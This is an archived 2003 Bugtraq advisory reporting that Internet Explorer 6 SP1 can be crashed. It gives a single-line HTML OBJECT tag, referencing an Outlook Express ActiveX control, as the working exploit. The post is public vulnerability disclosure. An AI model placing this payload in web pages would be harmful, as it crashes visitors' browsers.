bugtraq - IE6 SP1 - Trivial Crash

lists.openwall.net		lists / announce owl-users owl-dev john-users john-dev passwdqc-users yescrypt popa3d-users / oss-security kernel-hardening musl sabotage tlsify passwords / crypt-dev xvendor / Bugtraq Full-Disclosure linux-kernel linux-netdev linux-ext4 linux-hardening linux-cve-announce PHC
Open Source and information security mailing list archives

Hash Suite for Android: free password hash cracker in your pocket

[<prev] [next>] [day] [month] [year] [list]

Date: Tue, 29 Jul 2003 10:06:33 -0400
From: "James Wolfe" <james@...csolutions.com>
To: <bugtraq@...urityfocus.com>
Subject: IE6 SP1 - Trivial Crash


Overview/Description:

    In March of 2000, someone posted to bugtraq a flaw in the MS Outlook
Express ActiveX control which allowed for "the reading of any file on the
users machine." My guess is that MS, in an attempt to bugfix it, didnt debug
properly and left the following new bug. So now, using the same OE ActiveX
Control, a single line of code can crash IE.


Exploit:

    <OBJECT CLASSID="CLSID:1C82EAD9-508E-11D1-8DCF-00C04FB951F9"
data="1.html"></OBJECT>


Recommendation:

    Don't put this line of code in your pages. Other than that, I dont know
what to tell you.


Credit:

    This vulnerability was discovered by James Wolfe of QuIC Solutions, Inc.